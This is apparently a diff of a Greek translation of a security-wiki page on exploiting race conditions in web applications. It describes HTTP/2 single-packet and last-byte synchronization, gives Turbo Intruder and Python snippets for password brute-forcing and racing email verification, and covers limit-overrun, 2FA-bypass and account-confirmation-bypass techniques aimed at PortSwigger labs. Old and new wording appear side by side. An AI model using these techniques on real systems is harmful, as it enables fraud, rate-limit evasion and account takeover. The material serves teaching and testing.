Το κύριο εμπόδιο στην εκμετάλλευση των race conditions είναι η διασφάλιση ότι πολλά αιτήματα θα χειριστούν ταυτόχρονα, με **ελάχιστη διαφορά στους χρόνους επεξεργασίας τους—ιδανικά λιγότερο από 1ms**.
|
||||
Το κύριο εμπόδιο στο να εκμεταλλευτεί κανείς race conditions είναι να εξασφαλίσει ότι πολλαπλά αιτήματα (requests) χειρίζονται ταυτόχρονα, με πολύ μικρή διαφορά στους χρόνους επεξεργασίας — ιδανικά, λιγότερο από 1ms.
|
||||
|
||||
Εδώ θα βρείτε μερικές τεχνικές για τον συγχρονισμό αιτημάτων:
|
||||
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: Υποστηρίζει την αποστολή δύο αιτημάτων πάνω από μία TCP σύνδεση, μειώνοντας την επίδραση του network jitter. Ωστόσο, λόγω διαφορών στο server-side, δύο αιτήματα μπορεί να μην αρκούν για μια συνεπή race condition εκμετάλλευση.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Επιτρέπει την προ-αποστολή των περισσότερων μερών 20-30 αιτημάτων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον server.
|
||||
- **HTTP/2**: Υποστηρίζει την αποστολή δύο αιτημάτων πάνω από μία TCP σύνδεση, μειώνοντας τον αντίκτυπο του network jitter. Ωστόσο, λόγω παραλλαγών στην πλευρά του server, δύο αιτήματα ενδέχεται να μην αρκούν για συνεπή race condition exploit.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Επιτρέπει το προ-αποστολή των περισσότερων τμημάτων 20-30 αιτημάτων, κρατώντας ένα μικρό τεμάχιο, το οποίο στη συνέχεια αποστέλλεται μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον server.
|
||||
|
||||
Η προετοιμασία για το Last-Byte Sync περιλαμβάνει:
|
||||
Η προετοιμασία για Last-Byte Sync περιλαμβάνει:
|
||||
|
||||
1. Αποστολή headers και body minus το τελικό byte χωρίς να κλείσετε το stream.
|
||||
1. Αποστολή των headers και του body μείον το τελικό byte, χωρίς να τερματιστεί το stream.
|
||||
2. Παύση για 100ms μετά την αρχική αποστολή.
|
||||
3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο αλγόριθμος Nagle για batching των τελικών frames.
|
||||
4. Pinging για «ζέσταμα» της σύνδεσης.
|
||||
3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο αλγόριθμος Nagle και να ομαδοποιηθούν τα τελικά frames.
|
||||
4. Αποστολή ping για να προθερμανθεί η σύνδεση.
|
||||
|
||||
Η επακόλουθη αποστολή των κρατημένων frames θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα πακέτο, κάτι που μπορεί να επαληθευτεί με Wireshark. Αυτή η μέθοδος δεν εφαρμόζεται σε static files, τα οποία συνήθως δεν εμπλέκονται σε RC attacks.
|
||||
Η μετέπειτα αποστολή των κρατημένων frames θα πρέπει να οδηγήσει στην άφιξή τους σε ένα πακέτο, ελέγξιμη μέσω Wireshark. Αυτή η μέθοδος δεν εφαρμόζεται σε static files, τα οποία συνήθως δεν εμπλέκονται σε RC attacks.
|
||||
|
||||
### Adapting to Server Architecture
|
||||
### Προσαρμογή στην Αρχιτεκτονική του Server
|
||||
|
||||
Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Οι front-end servers μπορεί να δρομολογούν τα αιτήματα διαφορετικά, επηρεάζοντας το timing. Η προληπτική server-side θέρμανση των connections μέσω ασήμαντων αιτημάτων μπορεί να ομαλοποιήσει τους χρόνους απόκρισης.
|
||||
Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Front-end servers μπορεί να δρομολογούν αιτήματα διαφορετικά, επηρεάζοντας το timing. Η προκαταβολική server-side connection warming μέσω ασήμαντων requests μπορεί να εξομαλύνει τους χρόνους των αιτημάτων.
|
||||
|
||||
#### Handling Session-Based Locking
|
||||
#### Αντιμετώπιση κλειδώματος βάσει συνεδρίας
|
||||
|
||||
Πλαίσια όπως ο PHP session handler σειριοποιούν τα αιτήματα ανά session, πιθανόν να κρύβουν ευπάθειες. Η χρήση διαφορετικών session tokens για κάθε αίτημα μπορεί να παρακάμψει αυτό το πρόβλημα.
|
||||
Frameworks όπως o PHP session handler σειριοποιούν τα αιτήματα ανά session, πιθανώς αποκρύπτοντας ευπάθειες. Η χρήση διαφορετικών session tokens για κάθε αίτημα μπορεί να παρακάμψει αυτό το πρόβλημα.
|
||||
|
||||
#### Overcoming Rate or Resource Limits
|
||||
#### Υπέρβαση ορίων ρυθμού ή πόρων
|
||||
|
||||
Αν το connection warming δεν αποδίδει, το σκόπιμο δημιουργία καθυστερήσεων στα web servers μέσω πλημμύρας dummy αιτημάτων μπορεί να διευκολύνει το single-packet attack προκαλώντας server-side καθυστέρηση που ευνοεί τις race conditions.
|
||||
Αν η προθέρμανση σύνδεσης είναι αναποτελεσματική, η πρόκληση καθυστερήσεων λόγω ορίων ρυθμού ή πόρων στους web servers, μέσω μιας πλημμύρας από dummy requests, μπορεί να διευκολύνει την single-packet attack προκαλώντας server-side καθυστέρηση ευνοϊκή για race conditions.
|
||||
|
||||
## Attack Examples
|
||||
## Παραδείγματα Επιθέσεων
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το αίτημα στο Turbo intruder (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στο αίτημα την τιμή που θέλετε να brute force για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και μετά να επιλέξετε το **`examples/race-single-packer-attack.py`** από το drop down:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το request στο Turbo Intruder (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στο request την τιμή που θέλετε να brute force για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και στη συνέχεια να επιλέξετε το **`examples/race-single-packer-attack.py`** από το drop down:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
|
||||
Αν σκοπεύετε να **στείλετε διαφορετικές τιμές**, μπορείτε να τροποποιήσετε τον κώδικα με αυτόν που χρησιμοποιεί μια wordlist από το clipboard:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Αν ο ιστός δεν υποστηρίζει HTTP2 (μόνο HTTP1.1) χρησιμοποιήστε `Engine.THREADED` ή `Engine.BURP` αντί για `Engine.BURP2`.
|
||||
> Εάν ο ιστότοπος δεν υποστηρίζει HTTP2 (μόνο HTTP1.1), χρησιμοποιήστε `Engine.THREADED` ή `Engine.BURP` αντί για `Engine.BURP2`.
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Σε περίπτωση που χρειάζεται να στείλετε ένα request σε 1 endpoint και στη συνέχεια πολλά σε άλλα endpoints για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το `race-single-packet-attack.py` script με κάτι σαν:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Σε περίπτωση που χρειάζεται να στείλετε ένα αίτημα σε 1 endpoint και στη συνέχεια πολλά σε άλλα endpoints για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το `race-single-packet-attack.py` script με κάτι σαν:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- Είναι επίσης διαθέσιμο στο **Repeater** μέσω της νέας επιλογής '**Send group in parallel**' στο Burp Suite.
|
||||
- Για **limit-overrun** μπορείτε απλώς να προσθέσετε το **same request 50 times** στην ομάδα.
|
||||
- Για **connection warming**, μπορείτε να **add** στην **beginning** της **group** μερικές **requests** προς κάποιο μη στατικό μέρος του web server.
|
||||
- Για **delaying** της διαδικασίας **between** την επεξεργασία **one request and another** σε 2 substates steps, μπορείτε να **add extra requests between** και τα δύο requests.
|
||||
- Για ένα **multi-endpoint** RC μπορείτε να αρχίσετε να στέλνετε το **request** που **goes to the hidden state** και μετά **50 requests** αμέσως μετά που **exploits the hidden state**.
|
||||
- Επίσης είναι διαθέσιμο στο **Repeater** μέσω της νέας επιλογής '**Send group in parallel**' στο Burp Suite.
|
||||
- Για **limit-overrun** μπορείτε απλώς να προσθέσετε **το ίδιο request 50 φορές** στην ομάδα.
|
||||
- Για **connection warming**, μπορείτε να **προσθέσετε** στην **αρχή** της **ομάδας** μερικά **requests** προς κάποιο μη στατικό μέρος του web server.
|
||||
- Για **delaying** της διαδικασίας **μεταξύ** της επεξεργασίας **ενός request και ενός άλλου** σε 2 substates βήματα, μπορείτε να **προσθέσετε επιπλέον requests ανάμεσα** στα δύο requests.
|
||||
- Για ένα **multi-endpoint** RC μπορείτε να ξεκινήσετε στέλνοντας το **request** που **πηγαίνει στην hidden state** και μετά **50 requests** αμέσως μετά το οποίο **εκμεταλλεύεται την hidden state**.
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ το επαληθεύει συνεχώς μέχρι το verification token του νέου email να φτάσει στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα υπήρχε ένα RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά η verification να σταλεί στο παλιό επειδή η μεταβλητή που υποδεικνύει το email είχε ήδη γεμίσει με το πρώτο).\
|
||||
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το verification token του τροποποιημένου email και τερματίζουμε την επίθεση.
|
||||
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ συνεχώς το επαληθεύει μέχρι ο verification token του νέου email να φτάσει στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα εμφανιζόταν ένα RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά η επαλήθευση να αποστέλλεται στο παλιό, επειδή η μεταβλητή που υποδεικνύει το email είχε ήδη συμπληρωθεί με το πρώτο).\
|
||||
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails ξέρουμε ότι λάβαμε το verification token του αλλαγμένου email και τερματίζουμε την επίθεση.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,19 +217,29 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### Βελτίωση Single Packet Attack
|
||||
#### Turbo Intruder: σημειώσεις για engine και gating
|
||||
|
||||
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, στο [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγήθηκε πώς είναι δυνατό να επεκταθεί ο περιορισμός των 1,500-byte του single packet attack στο **65,535 B window limitation of TCP by using IP layer fragmentation** (διαχωρίζοντας ένα ενιαίο πακέτο σε πολλαπλά IP πακέτα) και να σταλούν με διαφορετική σειρά, επιτρέποντας να αποτραπεί η επανασυγκόλληση του πακέτου μέχρι να φτάσουν όλα τα fragments στον server. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 requests σε περίπου 166ms.
|
||||
- Engine selection: χρησιμοποίησε `Engine.BURP2` σε στόχους HTTP/2 για να προκαλέσεις το single‑packet attack; εναλλακτικά στρέψου σε `Engine.THREADED` ή `Engine.BURP` για HTTP/1.1 last‑byte sync.
|
||||
- `gate`/`openGate`: τοποθέτησε σε ουρά πολλές αντιγραφές με `gate='race1'` (ή per‑attempt gates), που αναστέλλει το tail κάθε request· `openGate('race1')` εκκενώνει όλα τα tails μαζί ώστε να φτάσουν σχεδόν ταυτόχρονα.
|
||||
- Diagnostics: οι αρνητικές χρονοσφραγίδες στο Turbo Intruder υποδεικνύουν ότι ο server απάντησε πριν το request σταλεί πλήρως, αποδεικνύοντας την επικάλυψη. Αυτό είναι αναμενόμενο σε πραγματικές race conditions.
|
||||
- Connection warming: στείλε ένα ping ή μερικά harmless requests αρχικά για να σταθεροποιήσεις τα timings· προαιρετικά απενεργοποίησε το `TCP_NODELAY` για να ενθαρρύνεις το batching των τελικών frames.
|
||||
|
||||
Σημειώστε ότι παρόλο που αυτή η βελτίωση κάνει την επίθεση πιο αξιόπιστη σε RC που απαιτούν εκατοντάδες/χιλιάδες πακέτα να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει ορισμένους περιορισμούς σε επίπεδο λογισμικού. Ορισμένοι δημοφιλείς HTTP servers όπως οι Apache, Nginx και Go έχουν αυστηρή ρύθμιση `SETTINGS_MAX_CONCURRENT_STREAMS` σε 100, 128 και 250. Ωστόσο, άλλοι όπως οι NodeJS και nghttp2 την έχουν απεριόριστη.\
|
||||
Αυτό ουσιαστικά σημαίνει ότι ο Apache θα θεωρεί μόνο 100 HTTP connections από μία ενιαία TCP connection (περιορίζοντας αυτή την RC επίθεση).
|
||||
|
||||
Μπορείτε να βρείτε κάποια παραδείγματα που χρησιμοποιούν αυτή την τεχνική στο repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
### Βελτίωση του Single Packet Attack
|
||||
|
||||
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1.500 bytes. Ωστόσο, στο [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγείται πώς είναι δυνατόν να επεκταθεί ο περιορισμός των 1.500 byte του single packet attack στο **65,535 B window limitation του TCP by using IP layer fragmentation** (διαχωρίζοντας ένα πακέτο σε πολλαπλά IP packets) και αποστέλλοντάς τα με διαφορετική σειρά, επιτρέποντας να αποτραπεί η ανασύνθεση του πακέτου μέχρι όλα τα fragments να φτάσουν στον server. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10.000 requests σε περίπου 166ms.
|
||||
|
||||
Σημείωσε ότι παρόλο που αυτή η βελτίωση κάνει την επίθεση πιο αξιόπιστη σε RC που απαιτούν εκατοντάδες/χιλιάδες πακέτων να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει κάποιους περιορισμούς στο λογισμικό. Κάποιοι δημοφιλείς HTTP servers όπως Apache, Nginx και Go έχουν ένα αυστηρό `SETTINGS_MAX_CONCURRENT_STREAMS` σε 100, 128 και 250. Ωστόσο, άλλοι όπως NodeJS και nghttp2 το έχουν απεριόριστο.\
|
||||
Αυτό βασικά σημαίνει ότι ο Apache θα θεωρήσει μόνο 100 HTTP connections από μία TCP connection (περιορίζοντας αυτή την RC attack).
|
||||
|
||||
Μπορείς να βρεις μερικά παραδείγματα που χρησιμοποιούν αυτή την τεχνική στο repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
|
||||
## Raw BF
|
||||
|
||||
- **Repeater:** Δείτε τα παραδείγματα από την προηγούμενη ενότητα.
|
||||
- **Intruder**: Στείλτε το **request** στο **Intruder**, θέστε τον **number of threads** σε **30** μέσα στο **Options menu**, επιλέξτε ως payload **Null payloads** και δημιουργήστε **30**.
|
||||
Πριν την προηγούμενη έρευνα, αυτά ήταν μερικά payloads που χρησιμοποιούνταν και απλά προσπαθούσαν να στείλουν τα πακέτα όσο το δυνατόν πιο γρήγορα για να προκαλέσουν RC.
|
||||
|
||||
- **Repeater:** Δες τα παραδείγματα από την προηγούμενη ενότητα.
|
||||
- **Intruder**: Στείλε το **request** στο **Intruder**, ορίστε τον **number of threads** σε **30** μέσα στο **Options menu**, επιλέξτε ως payload **Null payloads** και δημιούργησε **30**.
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -277,75 +287,75 @@ print(results)
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC Μεθοδολογία**
|
||||
## **RC Methodology**
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
Αυτός είναι ο πιο βασικός τύπος race condition όπου εμφανίζονται **vulnerabilities** σε σημεία που **περιορίζουν τον αριθμό φορών που μπορείτε να εκτελέσετε μια ενέργεια**. Όπως το να χρησιμοποιήσετε τον ίδιο κωδικό έκπτωσης σε ένα web store πολλές φορές. Ένα πολύ απλό παράδειγμα μπορεί να βρεθεί σε [**αυτή την αναφορά**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ή σε [**αυτό το bug**](https://hackerone.com/reports/759247)**.**
|
||||
Αυτός είναι ο πιο βασικός τύπος race condition όπου υπάρχουν **vulnerabilities** που **εμφανίζονται** σε σημεία που **περιορίζουν τον αριθμό φορών που μπορείς να εκτελέσεις μια ενέργεια**. Όπως η χρήση του ίδιου discount code σε ένα web store πολλές φορές. Ένα πολύ απλό παράδειγμα βρίσκεται σε [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ή σε [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Υπάρχουν πολλές παραλλαγές αυτού του είδους επίθεσης, συμπεριλαμβανομένων:
|
||||
Υπάρχουν πολλές παραλλαγές αυτού του είδους επίθεσης, μεταξύ άλλων:
|
||||
|
||||
- Εξαργύρωση gift card πολλαπλές φορές
|
||||
- Αξιολόγηση προϊόντος πολλαπλές φορές
|
||||
- Ανάληψη ή μεταφορά μετρητών πέρα από το υπόλοιπο του λογαριασμού
|
||||
- Επαναχρησιμοποίηση της ίδιας CAPTCHA λύσης
|
||||
- Παράκαμψη του anti-brute-force rate limit
|
||||
- Εξαργύρωση ενός gift card πολλαπλές φορές
|
||||
- Βαθμολόγηση ενός προϊόντος πολλές φορές
|
||||
- Ανάληψη ή μεταφορά χρημάτων πάνω από το account balance του λογαριασμού
|
||||
- Επαναχρήση της ίδιας CAPTCHA λύσης
|
||||
- Παράκαμψη ενός anti-brute-force rate limit
|
||||
|
||||
### **Κρυφές υποκαταστάσεις**
|
||||
### **Hidden substates**
|
||||
|
||||
Η εκμετάλλευση πολύπλοκων race conditions συχνά περιλαμβάνει την αξιοποίηση σύντομων ευκαιριών για αλληλεπίδραση με κρυφές ή **ακούσιες υποκαταστάσεις μηχανής**. Να πώς να προσεγγίσετε αυτό:
|
||||
Η εκμετάλλευση περίπλοκων race conditions συχνά περιλαμβάνει την εκμετάλλευση σύντομων ευκαιριών για αλληλεπίδραση με hidden ή **unintended machine substates**. Εδώ είναι πώς να το προσεγγίσετε:
|
||||
|
||||
1. **Εντοπισμός πιθανών κρυφών υποκαταστάσεων**
|
||||
- Ξεκινήστε εντοπίζοντας endpoints που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες password reset. Εστιάστε σε:
|
||||
- **Storage**: Προτιμήστε endpoints που χειρίζονται server-side persistent δεδομένα αντί αυτών που χειρίζονται δεδομένα client-side.
|
||||
- **Action**: Αναζητήστε λειτουργίες που αλλάζουν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
|
||||
- **Keying**: Οι επιτυχημένες επιθέσεις συνήθως περιλαμβάνουν λειτουργίες κλειδωμένες στο ίδιο αναγνωριστικό, π.χ. username ή reset token.
|
||||
2. **Διεξαγωγή αρχικής διερεύνησης**
|
||||
- Δοκιμάστε τα εντοπισμένα endpoints με επιθέσεις race condition, παρατηρώντας οποιεσδήποτε αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απρόσμενες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορούν να υποδείξουν ευπάθεια.
|
||||
3. **Επιδείξτε την ευπάθεια**
|
||||
- Περιορίστε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για να εκμεταλλευτείτε την ευπάθεια, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτήσει πολλαπλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονισμού.
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- Ξεκινήστε εντοπίζοντας endpoints που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως user profiles ή password reset processes. Επικεντρωθείτε σε:
|
||||
- **Storage**: Προτιμήστε endpoints που χειρίζονται server-side persistent data αντί για εκείνα που διαχειρίζονται δεδομένα client-side.
|
||||
- **Action**: Αναζητήστε operations που τροποποιούν υπάρχοντα δεδομένα, καθώς είναι πιο πιθανό να δημιουργήσουν exploitable conditions σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
|
||||
- **Keying**: Επιτυχημένες επιθέσεις συνήθως αφορούν operations που είναι keyed στο ίδιο identifier, π.χ. username ή reset token.
|
||||
2. **Conduct Initial Probing**
|
||||
- Δοκιμάστε τα εντοπισμένα endpoints με race condition attacks, παρατηρώντας τυχόν αποκλίσεις από τα αναμενόμενα αποτελέσματα. Unexpected responses ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν vulnerability.
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- Περιορίστε την επίθεση στον ελάχιστο αριθμό requests που χρειάζονται για να exploit το vulnerability, συχνά μόνο δύο. Αυτό το βήμα μπορεί να απαιτήσει πολλαπλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονισμού.
|
||||
|
||||
### Χρονικά ευαίσθητες επιθέσεις
|
||||
### Time Sensitive Attacks
|
||||
|
||||
Η ακρίβεια στον χρονισμό των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμοι τρόποι όπως timestamps για security tokens. Για παράδειγμα, η δημιουργία password reset tokens βάσει timestamps θα μπορούσε να επιτρέψει ίδια tokens για ταυτόχρονες αιτήσεις.
|
||||
Η ακρίβεια στον χρονισμό των requests μπορεί να αποκαλύψει vulnerabilities, ιδιαίτερα όταν χρησιμοποιούνται προβλέψιμες μέθοδοι όπως timestamps για security tokens. Για παράδειγμα, η δημιουργία password reset tokens με βάση timestamps μπορεί να επιτρέψει identical tokens για ταυτόχρονες requests.
|
||||
|
||||
**Για να εκμεταλλευτείτε:**
|
||||
**To Exploit:**
|
||||
|
||||
- Χρησιμοποιήστε ακριβή χρονισμό, όπως μια single packet attack, για να κάνετε concurrent password reset requests. Τα ίδια tokens υποδεικνύουν ευπάθεια.
|
||||
- Χρησιμοποιήστε ακριβή χρονισμό, όπως single packet attack, για να στείλετε concurrent password reset requests. Identical tokens υποδεικνύουν vulnerability.
|
||||
|
||||
**Παράδειγμα:**
|
||||
**Example:**
|
||||
|
||||
- Αιτηθείτε δύο password reset tokens ταυτόχρονα και συγκρίνετέ τα. Αν τα tokens ταιριάζουν, αυτό υποδηλώνει πρόβλημα στην παραγωγή των token.
|
||||
- Ζητήστε δύο password reset tokens ταυτόχρονα και συγκρίνετέ τα. Matching tokens προτείνουν σφάλμα στη δημιουργία των token.
|
||||
|
||||
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) για να το δοκιμάσετε.
|
||||
**Δείτε** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **για να το δοκιμάσετε.**
|
||||
|
||||
## Μελέτες περίπτωσης κρυφών υποκαταστάσεων
|
||||
## Hidden substates case studies
|
||||
|
||||
### Pay & add an Item
|
||||
|
||||
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) για να δείτε πώς να **pay** σε ένα κατάστημα και να **add an extra** αντικείμενο που **δεν θα χρειαστεί να το πληρώσετε**.
|
||||
Δείτε αυτό το [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) για να δείτε πώς να **pay** σε ένα store και **add an extra** item που **δεν θα χρειαστεί να το πληρώσετε**.
|
||||
|
||||
### Επιβεβαίωση άλλων διευθύνσεων email
|
||||
### Confirm other emails
|
||||
|
||||
Η ιδέα είναι να **επαληθεύσετε μια διεύθυνση email και να την αλλάξετε σε διαφορετική ταυτόχρονα** για να διαπιστώσετε αν η πλατφόρμα επαληθεύει τη νέα που άλλαξε.
|
||||
Η ιδέα είναι να **verify an email address and change it to a different one at the same time** για να διαπιστώσετε αν η πλατφόρμα επαληθεύει το νέο email.
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
|
||||
Σύμφωνα με [**αυτή την έρευνα**](https://portswigger.net/research/smashing-the-state-machine) το Gitlab ήταν ευάλωτο σε takeover με αυτόν τον τρόπο επειδή μπορεί να **στείλει** το **email verification token ενός email στο άλλο email**.
|
||||
Σύμφωνα με [**this research**](https://portswigger.net/research/smashing-the-state-machine) το Gitlab ήταν ευάλωτο σε takeover με αυτόν τον τρόπο επειδή μπορεί να **στέλνει** το **email verification token ενός email στο άλλο email**.
|
||||
|
||||
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) για να το δοκιμάσετε.
|
||||
**Δείτε** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **για να το δοκιμάσετε.**
|
||||
|
||||
### Κρυφές καταστάσεις database / Παράκαμψη Επιβεβαίωσης
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
|
||||
Αν **2 διαφορετικές writes** χρησιμοποιούνται για να **προσθέσουν** **πληροφορία** μέσα σε μια **database**, υπάρχει ένα μικρό χρονικό διάστημα όπου **μόνο το πρώτο δεδομένο έχει γραφτεί** στη βάση. Για παράδειγμα, κατά τη δημιουργία χρήστη το **username** και το **password** μπορεί να **γραφτούν** και **μετά το token** για να επιβεβαιωθεί ο νεοδημιουργημένος λογαριασμός να γραφτεί. Αυτό σημαίνει ότι για μικρό χρονικό διάστημα το **token για επιβεβαίωση λογαριασμού είναι null**.
|
||||
Εάν **2 διαφορετικά writes** χρησιμοποιούνται για να **add** **information** μέσα σε μια **database**, υπάρχει ένα μικρό χρονικό διάστημα όπου **μόνο τα πρώτα δεδομένα έχουν γραφτεί** μέσα στη database. Για παράδειγμα, όταν δημιουργείται ένας χρήστης, το **username** και το **password** μπορεί να **γραφτούν** και **μετά το token** για την επιβεβαίωση του νέου λογαριασμού να γραφτεί. Αυτό σημαίνει ότι για ένα μικρό χρονικό διάστημα το **token για την επιβεβαίωση ενός λογαριασμού είναι null**.
|
||||
|
||||
Επομένως, **η εγγραφή ενός λογαριασμού και η αποστολή πολλαπλών αιτημάτων με ένα κενό token** (`token=` ή `token[]=` ή οποιαδήποτε άλλη παραλλαγή) για να επιβεβαιώσετε αμέσως τον λογαριασμό, θα μπορούσε να επιτρέψει να **επιβεβαιώσετε έναν λογαριασμό** όπου δεν ελέγχετε το email.
|
||||
Επομένως, **η εγγραφή ενός account και η αποστολή πολλαπλών requests με ένα κενό token** (`token=` ή `token[]=` ή οποιαδήποτε άλλη παραλλαγή) για άμεση επιβεβαίωση του λογαριασμού μπορεί να επιτρέψει να **confirm έναν λογαριασμό** που δεν ελέγχετε το email.
|
||||
|
||||
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) για να το δοκιμάσετε.
|
||||
**Δείτε** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **για να το δοκιμάσετε.**
|
||||
|
||||
### Παράκαμψη 2FA
|
||||
### Bypass 2FA
|
||||
|
||||
Ο ακόλουθος pseudo-code είναι ευάλωτος σε race condition επειδή σε ένα πολύ μικρό χρονικό διάστημα η **2FA δεν εφαρμόζεται** ενώ η session δημιουργείται:
|
||||
Το ακόλουθο pseudo-code είναι ευάλωτο σε race condition επειδή για ένα πολύ μικρό χρονικό διάστημα η **2FA is not enforced** ενώ δημιουργείται η session:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -353,25 +363,25 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 αιώνια διατήρηση
|
||||
### OAuth2 μόνιμη διατήρηση
|
||||
|
||||
Υπάρχουν αρκετοί [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες σας επιτρέπουν να δημιουργήσετε μια εφαρμογή και να αυθεντικοποιήσετε χρήστες που έχει καταχωρίσει ο πάροχος. Για να γίνει αυτό, ο **client** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε κάποια από τα δεδομένα τους εντός του **OAUth provider**.\
|
||||
